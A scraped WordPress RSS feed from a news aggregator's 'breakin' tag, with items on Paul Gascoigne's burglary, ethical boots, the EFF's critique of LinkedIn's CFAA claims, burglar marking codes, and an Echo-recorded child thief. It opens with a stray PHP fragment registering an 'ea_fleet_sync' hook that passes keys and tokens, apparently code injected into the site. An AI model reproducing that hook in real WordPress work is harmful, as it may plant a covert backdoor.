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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); breakin – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 07 Sep 2020 09:52:40 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png breakin – Brief News https://briefnews.eu 32 32 Paul Gascoigne chokes up over late dad’s stolen watch in heartbreaking plea after break-in https://briefnews.eu/paul-gascoigne-chokes-up-over-late-dads-stolen-watch-in-heartbreaking-plea-after-break-in/ https://briefnews.eu/paul-gascoigne-chokes-up-over-late-dads-stolen-watch-in-heartbreaking-plea-after-break-in/#respond Mon, 07 Sep 2020 09:52:40 +0000 https://briefnews.eu/paul-gascoigne-chokes-up-over-late-dads-stolen-watch-in-heartbreaking-plea-after-break-in/

“Let’s hope Paul’s luck changes and he gets his property back – All the best Gazza,” someone else added.

While a fourth said: “Poor Gazza bless him. Give him his watch back.”

The police suspect Paul’s home may have been targeted after Piers uploaded a photo of the ex-footballer during the filming of Life Stories, signalling Paul wasn’t at home. 

The burglars took five watches, two bracelets, three rings, diamond earrings and a genuine New York Police Department badge, the ex-footballer revealed. 

Among the stolen items were a watch and cigar cutter that belonged to Paul’s late father. 

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]]> https://briefnews.eu/paul-gascoigne-chokes-up-over-late-dads-stolen-watch-in-heartbreaking-plea-after-break-in/feed/ 0 These Instagram-famous chukka boots are ethically made — and they require zero break-in time https://briefnews.eu/these-instagram-famous-chukka-boots-are-ethically-made-and-they-require-zero-break-in-time/ https://briefnews.eu/these-instagram-famous-chukka-boots-are-ethically-made-and-they-require-zero-break-in-time/#respond Sun, 14 Oct 2018 10:34:39 +0000 http://briefnews.eu/these-instagram-famous-chukka-boots-are-ethically-made-and-they-require-zero-break-in-time/ The Insider Picks team writes about stuff we think you’ll like. Business Insider has affiliate partnerships, so we get a share of the revenue from your purchase.

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  • Nisolo is a socially responsible footwear startup that sells high-quality leather goods for prices you can actually afford.
  • I’ve been on the lookout for the perfect chukka boots for women for a while now, and after getting Nisolo’s Isa Boots to test out, I think the search is over.
  • The boots are comfortable, stylish, cut off at just the right spot, and didn’t give me any blisters, even when I expected a “break-in period”.
  • The Isa Boots retail at $ 198 and frequently sell out in one or more of their four colors.

I’ve been on the hunt for the perfect women’s chukka boots for almost a year now, and, recently, the socially responsible footwear startup Nisolo sent me a pair of their best-selling Isa boots that I’d been seeing all over my Instagram feed — a style best described as an updated take on the chukka.

Founded in 2011 by Patrick Woodyard and Zoe Cleary, Nisolo aims to make timeless, high-quality designs that you can wear every day. But what sets this company apart, aside from their excellent designs and premium materials, is that they don’t require either the company or the shopper to make compromises on integrity. As a rule, the company uses leathers sourced from tanneries committed to the ethical treatment of animals, implements eco-friendly waste disposal systems, and ensures fair wages, healthcare, and healthy working environments for their employees in Peru, Mexico, and Kenya. The average salary of a Nisolo worker is 27% higher than Fair Trade wage requirements. In Peru, specifically, the women Nisolo employs have seen an average annual income increase of 126%, which is more than double what they made at their previous places of work. 

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]]> https://briefnews.eu/these-instagram-famous-chukka-boots-are-ethically-made-and-they-require-zero-break-in-time/feed/ 0 U.S. judge cracks down on LinkedIn’s abuse of computer break-in law https://briefnews.eu/u-s-judge-cracks-down-on-linkedins-abuse-of-computer-break-in-law/ https://briefnews.eu/u-s-judge-cracks-down-on-linkedins-abuse-of-computer-break-in-law/#respond Wed, 30 Aug 2017 02:04:29 +0000 http://briefnews.eu/u-s-judge-cracks-down-on-linkedins-abuse-of-computer-break-in-law/

Good news out of a court in San Francisco: a judge just issued an early ruling against LinkedIn’s abuse of the notorious Computer Fraud and Abuse Act (CFAA) to block a competing service from perfectly legal uses of publicly available data on its website. LinkedIn’s behavior is just the sort of bad development we expected after the United States Court of Appeals for the Ninth Circuit delivered two dangerously expansive interpretations of the CFAA last year—despite our warnings that the decisions would be easily misused.

The CFAA is a criminal law with serious penalties. It was passed in the 1980s with the aim of outlawing computer break-ins. Since then, it has metastasized in some jurisdictions into a tool for companies and websites to enforce their computer use policies, like terms of service (which no one reads) or corporate computer policies. Violating a computer use policy should by no stretch of the imagination count as felony. But the Ninth Circuit’s two decisions—Facebook v. Power Ventures and U.S. v. Nosal—emboldened some companies, almost overnight, to amp up their CFAA threats against competitors.

Luckily, a court in San Francisco has called foul, questioning LinkedIn’s use of the CFAA to block access to public data. The decision is a victory—a step toward our mission of holding the Ninth Circuit to its word and limiting its two dangerous opinions to their “stark” facts. But the LinkedIn case is in only its very early stages, and the earlier bad case law is still on the books.

The U.S. Supreme Court has the opportunity to change that, and we urge them to do so by granting certiorari in U.S. v. Nosal. The Court needs to step in and shut down abuse of this draconian and outdated law.

Background

The CFAA makes it illegal to engage in “unauthorized access” to a computer connected to the Internet, but the statute doesn’t tells us what “authorization” or “without authorization” means. This vague language might have seemed innocuous to some back in 1986 when the statute was passed, reportedly in response to the Matthew Broderick movie War Games. In today’s networked world, where we all regularly connect to and use computers owned by others, this pre-Web law is causing serious problems.

If you’ve been following our blog, you’re familiar with Facebook v. Power Ventures and U.S. v. Nosal. Both cases adopted expansive readings of “unauthorized access”—and we warned the Ninth Circuit that they threatened to transform the CFAA into a mechanism for policing Internet use and criminalizing ordinary Internet behavior, like password sharing.

Unfortunately, we were right.

Within weeks after the decisions came out, LinkedIn started sending out cease and desist letters citing the bad case law—specifically Power Ventures—to companies it said were violating its prohibition on scraping. One company LinkedIn targeted was hiQ Labs, which provides analysis of data on LinkedIn user’s publicly available profiles. Linkedin had tolerated hiQ’s behavior for years, but after the Power Ventures decision, it apparently saw an opportunity to shut down a competing service. LinkedIn sent hiQ letters warning that any future access of its website, even the public portions, were “without permission and without authorization” and thus violations of the CFAA.

Scraping publicly available data in violation of a company’s terms of use comes nowhere near Congress’s original intent of punishing those who break into protected computers to steal data or cause damage. But companies like LinkedIn still send out threatening letters with bogus CFAA claims. These letters are all too often effective at scaring recipients into submission given the CFAA’s notoriously severe penalties. Since demand letters are not generally public, we don’t know how many other companies are using the law to threaten competitors and stomp out innovation, but it’s unlikely that LinkedIn is alone in this strategy.

Luckily here, in the face of LinkedIn’s threats, hiQ did something that a lot of other companies don’t have the resources or courage to do: it took LinkedIn’s claims straight to court. It asked the Northern District of California in San Francisco to rule that its automated access of publicly available data was not in violation of the CFAA, despite LinkedIn’s threats. hiQ also asked the court to prohibit LinkedIn from blocking its access to public profiles while the court considered the merits of its request.

hiQ v. Linkedin: Preliminary Injunction Decision

Earlier this month, Judge Edward Chen granted hiQ’s request, enjoining LinkedIn from preventing or blocking hiQ’s access or use of public profiles, and ordering LinkedIn to withdraw its two cease and desist letters to hiQ. Although Judge Chen didn’t directly address the merits of the case, he expressed serious skepticism over LinkedIn’s CFAA claims, stating that “the Court is doubtful that the Computer Fraud and Abuse Act may be invoked by LinkedIn to punish hiQ or accessing publicly available data” and that the “broad interpretation of the CFAA invoked by LinkedIn, if adopted, could profoundly impact open access to the Internet, a result that Congress could not have intended when it enacted the CFAA over three decades ago.”

Judge Chen’s order is reassuring, and hopefully a harbinger of how courts going forward will react to efforts to use to the CFAA to limit access to public data. He’s not the only judge who feels that companies are taking the CFAA too far. During a Ninth Circuit oral argument in a different case in July, Judge Susan Graber—one of the judges behind the Power Ventures decision—pushed back on [at around 33:40] Oracle’s argument that automated scraping was a CFAA violation.

It’s still discouraging to see LinkedIn actively advocate for such a shortsighted expansion of an already overly broad criminal law—an outcome that could land people in jail for innocuous conduct—rather than trying to compete to provide a better service. The CFAA’s exorbitant penalties have already caused great tragedies, including playing a role in the death of our friend, Internet activist Aaron Schwartz. The Internet community should be trying to fix this broken law, not expand it. Opportunistic efforts to expand it are just plain shameful.

That’s why we’re asking the Supreme Court to step in and clarify that using a computer in a way that violates corporate policies, preferences, and expectations—as LinkedIn is claiming against hiQ—cannot be grounds for a CFAA violation. A clear, unequivocal ruling would go a long way to help stop abusive efforts to use the CFAA to limit access to publicly available data or to enforce corporate policies.

We hope the Supreme Court takes up the Nosal case. We should hear from the high court this fall. In the meantime, we hope LinkedIn takes Judge Chen’s recent ruling as a sign that’s its time to back away from its shameful abuse of the CFAA.

This story originally appeared on the EFF’s blog.

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]]> https://briefnews.eu/u-s-judge-cracks-down-on-linkedins-abuse-of-computer-break-in-law/feed/ 0 Burglar ‘code’ used to mark YOUR home before break-in: How to protect your property https://briefnews.eu/burglar-code-used-to-mark-your-home-before-break-in-how-to-protect-your-property/ https://briefnews.eu/burglar-code-used-to-mark-your-home-before-break-in-how-to-protect-your-property/#respond Fri, 11 Aug 2017 04:01:12 +0000 http://briefnews.eu/burglar-code-used-to-mark-your-home-before-break-in-how-to-protect-your-property/

The markings are used by burglars to communicate with each other and let each other know which properties are easiest to break in to, and which should be avoided.

The signs were highlighted by Lanarkshire Police Division in 2015.

Meanings include ‘alarmed house’, ‘previously burgled’, ‘good target’, and ‘vulnerable occupant’.

Others are ‘nothing worth stealing’, ‘too risky’, ‘wealthy’, and ‘occupants afraid’.

Officers in West Yorkshire had previously published a list showing almost identical signs and symbols – which was later branded the ‘Da Pinci List’.

Experts from Yale, the home security specialists, have spoken to Express.co.uk to advise homeowners what to look out for, and what to do if they are concerned.

Revealing where to look to see if the signs are on your home, Yale said: “These markings are usually found on the property itself, but have also been detected on pavements, curbs and roads close by.

“White stones and advertising stickers attached to bins with fake locksmith contact details have also been used as a way of marking vulnerable properties.”

The markings are an issue Yale have been aware of for years. They said: “Pre-burglar marking is an issue we have been aware of for a long time. It involves criminals marking homes that are vulnerable or empty as a sign to other criminals, as well as acting as a reminder about which properties they should target.

“The markings are thought to provide potential housebreakers details about the building, such as whether it is a good target or has an alarm, or whether it has been previously been targeted successfully.

“Marks can also be used to flag up homes which are empty during the day or unoccupied for long periods of time.”

Research from Churchill Home Insurance found people who have been burgled have a one in four chance of falling victim again in the same property.

With that in mind, what should homeowners do to protect themselves?

Yale advised: “There are plenty of tips homeowners can follow to help protect their homes from burglary.

“Even something as simple as being on good terms with your neighbours will help, as they can keep an eye on your property when you’re away and alert you of any suspicious activity.

“Updating your home security system is also vital in protecting your home from thieves as they work as both a great visual deterrent and in securing your property from potential attacks.

“Smart home alarms and CCTV systems are a must have, with statistics emphasising that homes with CCTV are 90 per cent less likely to get burgled.

“It’s also crucial not to forget the importance of utilising your traditional security measures, including cylinders and nightlatches. Making sure your lock is Kitemarked to a suitable standard protects your home against all known attack methods, shows opportunistic thieves that your security is of the highest quality, and is also an effective visual deterrent for burglars to move on elsewhere.”

Yale’s advice is backed up by the research carried out by Churchill Home Insurance, which found  one in ten of those who had been burgled did not upgrade their existing security systems, making them more vulnerable to repeated attacks.

Dr Claire Nee, a psychologist at the University of Portsmouth who has worked extensively with convicted criminals, also agreed with Yale and Churchill.

She said: “While only a small proportion of burglars use these codes or work in ‘packs’ tipping each other off, householders should be vigilant and report anything to the police. Perhaps more importantly, homeowners should assess and address the natural vulnerabilities of their properties such as rear and side access and cues showing no-one’s home in order to reduce the chances of burglary.”

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]]> https://briefnews.eu/burglar-code-used-to-mark-your-home-before-break-in-how-to-protect-your-property/feed/ 0 9yo boy faces charges after Amazon Echo records him during break-in https://briefnews.eu/9yo-boy-faces-charges-after-amazon-echo-records-him-during-break-in/ https://briefnews.eu/9yo-boy-faces-charges-after-amazon-echo-records-him-during-break-in/#respond Thu, 27 Jul 2017 23:11:35 +0000 http://briefnews.eu/9yo-boy-faces-charges-after-amazon-echo-records-him-during-break-in/

A nine-year-old Massachusetts boy has been charged with breaking and entering into his neighbor’s home after the Amazon Echo virtual assistant he stole recorded him.

Along with the Echo, the young boy is accused of stealing an iPhone, a phone charger, $ 46 in cash, and an Amazon package, the Gloucester Times reported.

According to a police report, the boy repeatedly broke in through a first-floor screen door on the backside of the house three times in the last week.

The boy was identified because the neighbor had a feature on her phone that allowed her to receive audio recordings from the Echo device. After listening to one take during one of the alleged break-ins, she told police she thought she recognized the voice of her neighbor’s nine-year-old boy.

After police spoke to the child, he admitted to breaking into the woman’s home three separate times, and taking the items that matched the list of missing items.

The boy eventually showed police where he had hidden the stolen items, and officers returned the stolen items to the woman. Officers kept the Alexa as evidence as it had sustained damage.

The police report does not include any statements from the child or the mother as to his reasons for the thefts.

The child will face charges in juvenile court, according to the Gloucester Times.

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Hawaiian Air National Guard F-22 jets were scrambled to escort American Airlines Flight 31 after a man reported to be Turkish tried to break through the cockpit door of a commercial plane flying from Los Angeles to Honolulu.

Crewmembers and an off-duty Honolulu police officer subdued a Turkish man after he attempted to break down the cockpit door after the flight departed Los Angeles International Airport on Friday at 8:34am local time, HawaiiNewsNow reported.

US Pacific Command ordered two F-22 Raptors from the Hawaii Air National Guard to escort the Airbus A321 into Honolulu International Airport for a landing at around 11:35am.

Sources reportedly told HawaiiNewsNow that the man also breached security at Los Angeles International Airport, but that he “was assessed and allowed to board AA Flight 31 anyway.”

The US Department of Homeland Security, which oversees the TSA, or Transportation Security Administration, issued a statement saying: “We continue to monitor all flights out of an abundance of caution,” according to HawaiiNewsNow, adding, “At this time, there are no other reports of disruptions to flights.”

American Airlines spokeswoman Katie Cody told the Associated Press that there were 181 passengers and six crew members aboard the flight, but that no injuries were reported.

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